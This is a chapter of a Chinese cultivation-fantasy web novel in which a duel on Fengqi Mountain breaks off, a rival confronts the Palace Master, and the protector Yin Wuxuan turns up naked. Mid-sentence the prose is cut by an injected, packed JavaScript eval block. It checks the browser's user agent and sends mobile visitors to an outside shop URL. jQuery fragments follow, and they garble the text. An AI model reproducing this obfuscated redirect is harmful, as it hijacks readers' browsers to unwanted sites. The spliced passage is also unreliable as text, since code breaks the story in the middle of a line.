闻风吟迅速回神,挡下印无玄的犀利一剑,可他已无法集中注意力,只想与山顶那人相会。
他的目光频频游移,心神不定,可印无玄太过缠人,他根本脱不开身。
“印护法!”闻风吟朗声道,“我还有点急事要处理,不如让我们速战速决吧!”
话音一落,他身上金光暴涨,竟是使出绝技纸醉金迷!
数不清的大小元宝从天而降,这些元宝个个都是纯金打造,价值不菲,若是个贪财的,光看着这元宝雨都能笑得嘴巴咧到后脑勺。可这些元宝却是碰不得,它们个个都是催命符!
元宝雨一下,结界直接被打碎,开始无差别进攻!围观者也没料到是这个走向,也不看决战了,全都拿出看家本领逃命!而处在大招中心的印无玄却是避无可避,他脸上不见丝毫慌乱,反而面露喜色,举起大剑,那灰扑扑的剑身蓦地流光溢彩,和纸醉金迷的金光交相辉映!
砰!!!
两种光芒于半空相撞,造成的冲击波辐射整座凤栖山!
“啊啊啊救命啊!!!”
“啊——!!!我只是看热闹的啊!!!”
“我不想死啊!!!”
“星护法!我们交了钱的,快保护我们啊!!!”
……
被波及的修真者们连滚带爬,且凤栖山有化神期以下的禁飞咒,他们想要飞上天跑路都不行!
这年头看个热闹怎么都这么难啊!!!
良久后,两道光芒消散,印无玄仍立于原地,身上衣衫尽毁,一块蔽体的布也没留下,全都轰没了!他一手握着剑,另一手拿着乾坤袋,从头到脚都是爆炸伤,但伤口都浅,皮外伤而已。
以他为圆心,方圆数百米都被轰成了一个巨大的天坑,但凡换了个人在这坑里呆着,必已死无葬身之地!
“呼~~~”远远躲在一颗大石后但还是被炸得灰头土脸的星月吹了声口哨,说,“大护法,身材真好~”
印无玄没理他,面色不虞,因为和他对战的人在放完大招后就跑了,那一招他要是不接的话整座凤栖山都会被轰平,他必须接下,也就错过了追上去的时机。
对手打到一半跑路,这是对他的羞辱!
印无玄低头看乾坤袋,里面装满了元宝,这让他的气消了一点。
他把乾坤袋丢给星月,说:“拿着,你看到闻风吟往哪个方向跑了吗?”
星月数着袋里的钱,眼睛都笑眯了,说:“我忙着躲呢,没看到。”
“他往山顶去了,”星夜从一颗断树下爬起来,“咳……宫主在山顶观战,他冲宫主去的。”
印无玄眉头一皱,二话不说,御剑飞往山顶。
左右二护法望着他光溜溜的背影,星月说:“大护法屁-股很翘啊。”
星夜以袖掩面,“咳咳咳……大护法就这么光着去见宫主……咳……和宫主的前情劫……咳……不愧是大护法。”
星月才反应过来这茬,笑得满地打滚。
*
两百多年前,闻风吟是凤栖山的常客,那会儿谢非白对他死心塌地,呵护备至,反倒是他游戏人间,不愿困在这一方天地。可等谢非白情劫一过,他这个工具人就被随便一扔,再也没能踏入过凤栖山半步。
这次借着给印无玄下战帖,他一是想要试探下这没有心的大护法是否是谢非白的新情劫对象,也是想趁机见谢非白一面。
从头到尾,他并没有把决战一事放在心上,不过是个幌子而已,也就印无玄这种战斗狂会当真。
闻风吟用平生最快的速度追上了山顶的谢非白,这么多年后两人再度见面,他的心里五味杂陈。
谢非白戴着面具,只能看到那一双含着春情的眼,他的眼睑微垂,纤长的睫毛投下浓重的阴影。风很大,他白色的衣袍在风中飞舞,乌黑的长发也在空中飞扬,与衣衫相互缠绕,黑白两色形成了鲜明的对比。
他像要羽化登仙了。
这样的想法让闻风吟心中大惊,不由得上前一步去抓谢非白的袖子,谢非白一拂手,宽大的袖口翩跹避开,他抓了个空。
“谢宫主,多年不见,你风采更甚从前啊,”闻风吟悻悻收回手,紧盯着谢非白,“听闻谢宫主第七次情劫到来,不知这次又是哪个幸运儿?”
谢非白冷漠道:“本座的事与闻家主毫不相干。”
“毫不相干……”闻风吟咀嚼着这几个字,大笑道,“哈哈哈哈说得好!好一个毫不相干!谢宫主,当年你追着我求我跟你好时可不是这么说的!”
谢非白不为所动,说:“闻家不缺仙丹神药,闻家主若是记性不好了,就多补补脑。”
闻风吟:……
“谢宫主,如果我没猜错的话,你这次情劫应在在印护法身上,”闻风吟自顾自地说,“全修真界都知道印护法为了修炼无情道把心脏给挖了,你要如何让一个没有心的人为你动心?”
谢非白:“这就不劳闻家主费心了。”
闻风吟最见不得谢非白这波澜不惊的模样,就好似他说的话是耳旁风,而他这个人和天底下的万万人都没有任何区别。
他怒从心起,飞身就要去抓谢非白,可他的手指还没碰到谢非白的一片衣角,寒光乍见,一柄大剑疾射而来,他若不躲,整条手臂都会被砍断!他急退百米,那剑却像是长了眼睛,竟转个弯跟着他飞,追着不放,他祭出金元宝,格挡大剑!
锵!
两样法宝猛地一撞,再各自分开!
金元宝回到闻风吟手上,大剑则回到赶来的印无玄手上。
印无玄长身而立,狂风卷得他的所有毛发都齐刷刷往后飞,赤-裸的身体一览无余,但他浑不觉羞耻,说:“闻家主,我们的决战还没完,你跑什么?”
闻风吟没想到印无玄是这个么形象登场,脸“刷”地一红,阴阳怪气地说:“印护法,你还真是豪放啊!”
“你把我的衣服轰没了,我没带多余的衣服,”印无玄理所当然地说,“我最近手头紧,闻家主你得赔我衣服。”
闻风吟:……
印无玄又说:“衣服的事先放到一边,闻家主,我们还没分出胜负,你得跟我比完!”
“你衣服都没穿比什么比!”闻风吟无语,“印护法,我和谢宫主正在谈事,还请你速速离开的好。”
印无玄转过身,半跪行礼,低头道:“宫主,请问你和闻家主什么时候谈完?我等你们谈完了继续跟他打。”
谢非白打量着光溜溜的印无玄,冷淡的声音里多了丝笑意,“本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281426|151850||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
座跟闻家主无事可谈。”
印无玄立刻起身,用剑指着闻风吟,说:“闻家主,你听到了,我家宫主跟你无事可谈,你快快跟我决斗!”
闻风吟气急败坏,“谁要跟一个裸-男决斗!”
“这有什么好介意的?”印无玄莫名其妙,“闻家主的裸-体我都见过千百遍了……”
闻风吟:???
闻风吟:“你何时见过我的裸-体?!”
印无玄:“爱情话本里。”
闻风吟:……
印无玄:“别废话了,快跟我打!”
闻风吟:“打个屁!”
闻风吟是半点跟印无玄决斗的心思都没有了,他既已确定了心中的猜测,自也懒得跟对方纠缠,更何况还是个裸-男,且是个肩宽腰窄腿长臀-翘的裸-男!
一想到这个裸-男就是谢非白的新情劫,他就嫉妒得冒酸水。
“这怎么行?”印无玄皱眉,“是你向我下的战帖,断没有胜负未分就不打了的道理!”
闻风吟气笑了,说:“印护法,你不会真以为你以合体期的修为能胜我吧?”他越过印无玄,对谢非白说,“谢宫主,你我今日叙旧被人打断,着实可惜,来日我再登门拜访,与你把酒言欢。”
语毕,他踩上金元宝,乘风而去。
印无玄想追,谢非白却悠悠道:“别追了。”
印无玄就跟一张才放了弦又被收回来的风筝那样从大剑上跳下来,说:“遵命,宫主。”
说着“遵命”,却不大情愿,他难得碰到个能放开手脚打的对手,还没打尽兴,人就跑了,这让他一口气不上不下吊在中间,十分不爽。
“你受伤了。”谢非白说。
“都是小伤,不打紧,”印无玄说,“不会影响战斗。”
谢非白:“过来。”
印无玄听话地靠近谢非白,两个人的距离很近,容不下多站一个人。
谢非白将他那玉葱般的手贴在印无玄的肩膀上,在印无玄的诧异中,一股暖暖的白光包裹了他,他的皮肉上泛起了痒,伤口迅速结痂掉落,长出新肉,片刻之后,他身上的伤口已全部愈合。
然而谢非白并没有把手拿开,反而向下摸去,停在左边的胸膛上,那里一片寂静,没有任何跳动。
“多谢宫主为我疗伤,”印无玄不解风情地说,“既然我的伤好了,我能去追闻风吟了吗?”
谢非白在他的胸肌上拍了拍,收回手,说:“你会有机会与他再战的,无需执着于这一次。”
印无玄有点失望,但谢非白都这么说了,他自不会反驳。
谢非白捻了捻手指,似在回味肌肉的触感,说:“你可记得本座交给你的任务?”
印无玄垂头丧气,说:“属下会交读书心得的。”
谢非白:“更前面一点的任务。”
印无玄:“爱上宫主。”
谢非白:“在这个任务期间,本座命令你不能随意在别人面前裸-奔,只此一次,下不为例。”
印无玄觉得这个命令好奇怪,不过他从不会问谢非白为什么,只要是宫主的命令,刀山火海他也会去。
印无玄:“是!属下这就去穿衣服!”
谢非白:“滚吧。”